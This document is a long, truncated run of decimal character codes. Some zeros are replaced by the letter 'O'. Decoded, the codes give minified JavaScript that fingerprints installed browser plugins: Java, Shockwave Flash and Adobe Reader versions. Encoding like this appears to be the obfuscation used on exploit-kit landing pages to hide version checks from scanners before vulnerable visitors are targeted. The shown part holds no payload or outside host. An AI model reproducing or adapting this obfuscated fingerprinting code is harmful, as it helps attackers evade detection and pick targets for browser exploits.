97,98,1O8,1O1,1OO,4O,98,41,125,44,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,97,41,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,97,1O8,1O8,111,119,1O1,1OO,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,33,98,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,1OO,41,41,123,114,1O1,116,117,114,11O,32,48,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,51,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,56,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,53,38,38,33,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,5O,38,38,33,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,33,97,46,11O,111,11O,65,112,112,1O8,1O1,116,68,1O1,116,1O1,99,116,1O5,111,11O,79,1O7,4O,97,46,118,1O1,114,115,1O5,111,11O,48,41,41,123,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,49,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,97,41,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,41,123,118,97,114,32,1O4,44,97,61,116,1O4,1O5,115,44,1O3,61,97,46,36,44,1OO,61,97,46,36,36,44,1O5,61,11O,117,1O8,1O8,44,1O6,61,11O,117,1O8,1O8,44,98,61,97,46,114,1O1,115,117,1O8,116,115,44,99,59,1O5,1O2,4O,4O,98,91,1O2,93,91,48,93,38,38,98,91,1O2,93,91,49,93,41,124,124,4O,1OO,46,1OO,1O1,98,117,1O3,38,38,1OO,46,79,84,7O,6O,51,41,41,123,114,1O1,116,117,114,11O,125,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,97,46,72,84,77,76,91,1O2,93,44,116,114,117,1O1,41,59,1O5,1O2,4O,99,41,123,116,114,121,123,1O5,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,41,43,34,32,34,41,59,1O6,61,99,46,1O3,1O1,116,86,1O1,11O,1OO,111,114,4O,41,43,34,32,34,59,99,46,115,116,97,116,117,115,98,97,114,4O,1O3,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,63,34,32,34,58,34,32,34,41,125,99,97,116,99,1O4,4O,1O4,41,123,125,1O5,1O2,4O,1O5,38,38,1O3,46,1O5,115,83,116,114,78,117,1O9,4O,1O5,41,41,123,98,91,1O2,93,61,91,1O5,44,1O6,93,125,1O1,1O8,115,1O1,123,125,59,116,114,121,123,1O5,1O2,4O,1O3,46,1O5,115,73,69,38,38,1O5,38,38,99,46,114,1O1,97,1OO,121,83,116,97,116,1O1,33,61,52,41,123,1O3,46,1O3,97,114,98,97,1O3,1O1,61,116,114,117,1O1,59,99,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,125,99,97,116,99,1O4,4O,1O4,41,123,125,125,125,44,1O5,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,1O5,61,1OO,46,36,44,1O1,61,1OO,46,36,36,44,1O8,61,1OO,46,114,1O1,115,117,1O8,116,115,44,112,61,1OO,46,72,84,77,76,44,97,61,34,38,11O,98,115,112,59,38,11O,98,115,112,59,38,11O,98,115,112,59,38,11O,98,115,112,59,34,44,1O3,61,34,65,46,99,1O8,97,115,115,34,44,1O9,61,1O5,46,1O2,1O5,1O8,1O1,46,1O3,1O1,116,86,97,1O8,1O5,1OO,4O,1O1,41,59,1O5,1O2,4O,33,1O9,41,123,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,1O5,1O2,4O,1O1,46,79,84,7O,6O,49,41,123,1O1,46,79,84,7O,61,49,125,1O5,1O2,4O,1OO,46,97,1O8,1O8,68,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,123,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,1O5,1O2,4O,1O1,46,79,84,7O,6O,49,46,53,41,123,1O1,46,79,84,7O,61,49,46,53,125,118,97,114,32,1O6,61,1O9,46,11O,97,1O9,1O1,43,1O9,46,1O1,12O,116,44,1O4,61,1O9,46,112,97,116,1O4,59,118,97,114,32,1O2,61,91,34,97,114,99,1O4,1O5,118,1O1,34,44,1O6,44,34,99,111,1OO,1O1,34,44,1O3,93,44,99,61,91,34,1O9,97,121,115,99,114,1O5,112,116,34,44,34,116,114,117,1O1,34,93,44,111,61,91,34,115,99,114,1O5,112,116,97,98,1O8,1O1,34,44,34,116,114,117,1O1,34,93,46,99,111,11O,99,97,116,4O,99,41,44,11O,61,1O1,46,11O,97,118,1O5,1O3,97,116,111,114,44,98,61,33,1O5,46,1O5,115,73,69,38,38,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,46,116,121,112,1O1,63,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,46,116,121,112,1O1,58,1O1,46,1O9,1O5,1O9,1O1,84,121,112,1O1,91,48,93,59,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,48,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,48,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,98,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,98,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,59,1O8,91,48,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,48,41,125,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,49,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,49,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,97,112,112,1O8,1O1,116,34,44,91,34,97,1O8,116,34,44,97,93,46,99,111,11O,99,97,116,4O,99,41,46,99,111,11O,99,97,116,4O,1O2,41,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,99,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,97,112,112,1O8,1O1,116,34,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,44,34,97,1O8,116,34,44,97,93,46,99,111,11O,99,97,116,4O,99,41,46,99,111,11O,99,97,116,4O,1O2,41,44,91,93,46,99,111,11O,99,97,116,4O,99,41,44,97,44,1O1,41,59,1O8,91,49,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,49,41,125,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,5O,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,5O,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O1,46,99,1O8,97,115,115,73,68,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,41,59,1O8,91,5O,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,5O,41,125,1O5,1O2,4O,33,1OO,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,38,38,33,1O1,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,79,98,1O6,1O1,99,116,84,97,1O3,4O,41,41,123,1OO,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,61,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,93,44,91,93,44,97,41,125,1O5,1O2,4O,33,1OO,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,41,123,1OO,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,61,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,34,44,91,93,44,91,93,44,97,41,125,59,118,97,114,32,1O7,61,1O1,46,78,79,84,7O,59,1O5,1O2,4O,1O1,46,79,84,7O,6O,51,38,38,1O7,46,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,4O,41,41,123,1O1,46,79,84,7O,61,51,59,1O7,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,61,1O5,46,1O4,97,11O,1OO,1O8,1O1,114,4O,1O7,46,36,36,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1O7,41,59,1O5,1O2,4O,33,1O5,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,1O5,46,87,76,1O2,117,11O,99,115,48,46,112,117,115,1O4,4O,91,1O7,46,119,1O5,11O,79,11O,76,111,97,1OO,81,117,1O1,114,121,44,1O7,93,41,125,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1O7,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1O7,46,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,41,125,59,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,125,44,78,79,84,7O,58,123,36,58,49,44,99,111,117,11O,116,58,48,44,99,111,117,11O,116,77,97,12O,58,5O,53,44,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,58,5O,53,48,44,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1OO,61,1O1,46,36,44,99,61,1O1,46,36,36,44,98,61,99,46,97,112,112,1O8,1O1,116,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,72,84,77,76,91,97,93,38,38,33,98,46,114,1O1,115,117,1O8,116,115,91,97,93,91,48,93,38,38,4O,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,62,61,5O,124,124,4O,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,61,61,49,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,41,38,38,1O1,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,4O,97,41,62,61,48,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,1O2,61,116,1O4,1O5,115,44,99,61,1O2,46,36,36,44,97,44,98,44,1O1,61,45,57,59,1O2,111,114,4O,97,61,48,59,97,6O,99,46,97,112,112,1O8,1O1,116,46,72,84,77,76,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,98,61,1O2,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,4O,97,44,1OO,41,59,1O5,1O2,4O,98,62,1O1,41,123,1O1,61,98,125,125,114,1O1,116,117,114,11O,32,1O1,125,44,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,97,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,61,1OO,46,36,36,46,97,112,112,1O8,1O1,116,46,97,99,116,1O5,118,1O1,59,1O5,1O2,4O,33,97,41,123,98,91,99,93,61,1OO,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,95,4O,99,41,125,114,1O1,116,117,114,11O,32,98,91,99,93,125,44,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,95,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1O2,61,1O3,46,36,44,98,61,1O3,46,36,36,44,1O8,61,98,46,11O,97,118,1O5,1O3,97,116,111,114,44,97,61,98,46,97,112,112,1O8,1O1,116,44,1O4,61,97,46,72,84,77,76,91,1OO,93,44,1O5,44,1O7,44,99,61,48,44,1O6,61,1O2,46,1O3,1O1,116,84,97,1O3,83,116,97,116,117,115,4O,1O4,44,97,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,44,97,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,44,1O3,46,99,111,117,11O,116,41,59,1O5,1O2,4O,1O6,61,61,45,5O,41,123,114,1O1,116,117,114,11O,32,45,5O,125,116,114,121,123,1O5,1O2,4O,1O2,46,1O5,115,73,69,38,38,98,46,1O9,1O5,11O,73,69,118,1O1,114,6O,61,1O2,46,118,1O1,114,73,69,38,38,1O2,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O4,41,46,111,98,1O6,1O1,99,116,41,123,114,1O1,116,117,114,11O,32,49,125,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O2,111,114,4O,1O7,61,48,59,1O7,6O,97,46,97,99,116,1O5,118,1O1,46,1O8,1O1,11O,1O3,116,1O4,59,1O7,43,43,41,123,1O5,1O2,4O,48,6O,97,46,97,99,116,1O5,118,1O1,91,1O7,93,41,123,99,61,49,125,125,1O5,1O2,4O,1O6,61,61,49,38,38,4O,1O2,46,1O5,115,73,69,124,124,4O,4O,98,46,118,1O1,114,115,1O5,111,11O,48,38,38,1O8,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,38,38,1O8,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,4O,1O4,46,116,97,1O3,78,97,1O9,1O1,61,61,34,111,98,1O6,1O1,99,116,34,124,124,99,41,41,124,124,98,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,41,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,48,62,1O6,41,123,114,1O1,116,117,114,11O,32,45,49,125,114,1O1,116,117,114,11O,32,48,125,44,119,1O5,11O,79,11O,76,111,97,1OO,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,1OO,41,123,118,97,114,32,98,61,1OO,46,36,36,44,97,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,97,61,1OO,46,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,59,1OO,46,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,4O,97,91,49,93,44,97,91,5O,93,41,125,125,44,36,36,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,99,61,1OO,46,36,44,98,61,1OO,46,36,36,44,97,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,97,61,1OO,46,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,59,1O5,1O2,4O,33,1OO,46,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,4O,41,124,124,4O,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,1OO,46,99,111,117,11O,116,62,1OO,46,99,111,117,11O,116,77,97,12O,41,41,123,1OO,46,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,4O,97,91,49,93,44,97,91,5O,93,41,125,125,1OO,46,99,111,117,11O,116,43,43,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1OO,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1OO,46,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,41,125,125,44,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1O2,61,1O3,46,36,44,1O1,61,1O3,46,36,36,44,1OO,61,1O1,46,97,112,112,1O8,1O1,116,44,98,44,97,44,99,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1OO,46,113,117,1O1,114,121,4O,98,41,125,97,61,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,59,99,61,97,91,48,93,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,59,114,1O1,116,117,114,11O,91,99,44,97,91,48,93,44,97,91,49,93,93,125,44,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,1O2,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1OO,61,1O1,46,36,44,98,61,1O1,46,36,36,59,1O5,1O2,4O,98,46,79,84,7O,62,61,52,41,123,114,1O1,116,117,114,11O,125,98,46,79,84,7O,61,52,59,118,97,114,32,97,61,1O1,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,41,59,98,46,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,4O,99,44,1O2,44,48,41,59,1O5,1O2,4O,98,46,1O2,117,11O,99,115,41,123,1OO,46,99,97,1O8,1O8,65,114,114,97,121,4O,98,46,1O2,117,11O,99,115,41,125,1O5,1O2,4O,1OO,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,41,123,1OO,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,4O,41,125,125,125,44,122,122,58,48,125,44,1O2,1O8,97,115,1O4,58,123,1O9,1O5,1O9,1O1,84,121,112,1O1,58,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,115,1O4,111,99,1O7,119,97,118,1O1,45,1O2,1O8,97,115,1O4,34,44,112,114,111,1O3,73,68,58,34,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,46,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,34,44,99,1O8,97,115,115,73,68,58,34,99,1O8,115,1O5,1OO,58,68,5O,55,67,68,66,54,69,45,65,69,54,68,45,49,49,67,7O,45,57,54,66,56,45,52,52,52,53,53,51,53,52,48,48,48,48,34,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,1O2,117,11O,99,116,1O5,111,11O,4O,1O5,41,123,1O5,1O2,4O,33,1O5,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,118,97,114,32,1O1,61,47,91,92,1OO,93,91,92,1OO,92,44,92,46,92,115,93,42,91,114,82,1OO,68,93,123,48,44,49,125,91,92,1OO,92,44,93,42,47,46,1O1,12O,1O1,99,4O,1O5,41,59,114,1O1,116,117,114,11O,32,1O1,63,1O1,91,48,93,46,114,1O1,112,1O8,97,99,1O1,4O,47,91,114,82,1OO,68,92,46,93,47,1O3,44,34,44,34,41,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,58,11O,117,1O8,1O8,125,59,118,97,114,32,1O6,61,116,1O4,1O5,115,44,1O3,61,1O6,46,36,44,1O7,44,1O4,44,1O8,61,11O,117,1O8,1O8,44,99,61,11O,117,1O8,1O8,44,97,61,11O,117,1O8,1O8,44,1O2,44,1O9,44,1OO,59,1O5,1O2,4O,33,1O3,46,1O5,115,73,69,41,123,1O9,61,1O3,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O6,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,59,1O5,1O2,4O,1O9,41,123,1O2,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,1O6,46,1O9,1O5,1O9,1O1,84,121,112,1O1,93,44,91,93,44,34,34,44,1O6,41,41,59,116,114,121,123,1O8,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,1O2,46,71,1O1,116,86,97,114,1O5,97,98,1O8,1O1,4O,34,36,118,1O1,114,115,1O5,111,11O,34,41,41,125,99,97,116,99,1O4,4O,1O7,41,123,125,125,1O5,1O2,4O,33,1O8,41,123,1OO,61,1O9,63,1O9,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,11O,117,1O8,1O8,59,1O5,1O2,4O,1OO,38,38,1OO,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,123,1O8,61,98,4O,1OO,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,125,1O5,1O2,4O,1O8,41,123,1O8,61,1O3,46,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,4O,1OO,44,1O8,41,125,125,125,1O1,1O8,115,1O1,123,1O2,111,114,4O,1O4,61,49,53,59,1O4,62,5O,59,1O4,45,45,41,123,99,61,1O3,46,1O3,1O1,116,65,88,79,4O,1O6,46,112,114,111,1O3,73,68,43,34,46,34,43,1O4,41,59,1O5,1O2,4O,99,41,123,97,61,1O4,46,116,111,83,116,114,1O5,11O,1O3,4O,41,59,98,114,1O1,97,1O7,125,125,1O5,1O2,4O,33,99,41,123,99,61,1O3,46,1O3,1O1,116,65,88,79,4O,1O6,46,112,114,111,1O3,73,68,41,125,1O5,1O2,4O,97,61,61,34,54,34,41,123,116,114,121,123,99,46,65,1O8,1O8,111,119,83,99,114,1O5,112,116,65,99,99,1O1,115,115,61,34,97,1O8,119,97,121,115,34,125,99,97,116,99,1O4,4O,1O7,41,123,114,1O1,116,117,114,11O,34,54,44,48,44,5O,49,44,48,34,125,125,116,114,121,123,1O8,61,98,4O,99,46,71,1O1,116,86,97,114,1O5,97,98,1O8,1O1,4O,34,36,118,1O1,114,115,1O5,111,11O,34,41,41,125,99,97,116,99,1O4,4O,1O7,41,123,125,1O5,1O2,4O,33,1O8,38,38,97,41,123,1O8,61,97,125,125,1O6,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O8,63,49,58,45,49,59,1O6,46,118,1O1,114,115,1O5,111,11O,61,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O8,41,59,114,1O1,116,117,114,11O,32,116,114,117,1O1,125,125,44,97,1OO,111,98,1O1,114,1O1,97,1OO,1O1,114,58,123,1O9,1O5,1O9,1O1,84,121,112,1O1,58,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,112,1OO,1O2,34,44,11O,97,118,8O,1O8,117,1O3,1O5,11O,79,98,1O6,58,11O,117,1O8,1O8,44,112,114,111,1O3,73,68,58,91,34,65,99,114,111,8O,68,7O,46,8O,68,7O,34,44,34,8O,68,7O,46,8O,1OO,1O2,67,116,114,1O8,34,93,44,99,1O8,97,115,115,73,68,58,34,99,1O8,115,1O5,1OO,58,67,65,56,65,57,55,56,48,45,5O,56,48,68,45,49,49,67,7O,45,65,5O,52,68,45,52,52,52,53,53,51,53,52,48,48,48,48,34,44,73,78,83,84,65,76,76,69,68,58,123,125,44,112,1O8,117,1O3,1O5,11O,72,97,115,77,1O5,1O9,1O1,84,121,112,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,44,1O2,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,36,44,97,59,1O2,111,114,4O,97,32,1O5,11O,32,1OO,41,123,1O5,1O2,4O,1OO,91,97,93,38,38,1OO,91,97,93,46,116,121,112,1O1,38,38,1OO,91,97,93,46,116,121,112,1O1,61,61,99,41,123,114,1O1,116,117,114,11O,32,49,125,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,4O,99,44,1O2,41,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O8,44,1O6,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1OO,61,1O3,46,36,44,1O5,44,1O2,44,1O9,44,11O,44,98,61,11O,117,1O8,1O8,44,1O4,61,11O,117,1O8,1O8,44,1O7,61,1O3,46,1O9,1O5,1O9,1O1,84,121,112,1O1,44,97,44,99,59,1O5,1O2,4O,1OO,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O6,41,41,123,1O6,61,1O6,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,59,1O5,1O2,4O,1O6,41,123,1O7,61,1O6,125,125,1O1,1O8,115,1O1,123,1O6,61,11O,117,1O8,1O8,125,1O5,1O2,4O,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,41,41,123,1O3,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,1O3,46,73,78,83,84,65,76,76,69,68,91,1O7,93,59,114,1O1,116,117,114,11O,125,1O5,1O2,4O,33,1OO,46,1O5,115,73,69,41,123,97,61,34,65,1OO,111,98,1O1,46,42,8O,68,7O,46,42,8O,1O8,117,1O3,45,63,1O5,11O,124,65,1OO,111,98,1O1,46,42,65,99,114,111,98,97,116,46,42,8O,1O8,117,1O3,45,63,1O5,11O,124,65,1OO,111,98,1O1,46,42,82,1O1,97,1OO,1O1,114,46,42,8O,1O8,117,1O3,45,63,1O5,11O,34,59,1O5,1O2,4O,1O3,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,61,48,41,123,1O3,46,1O3,1O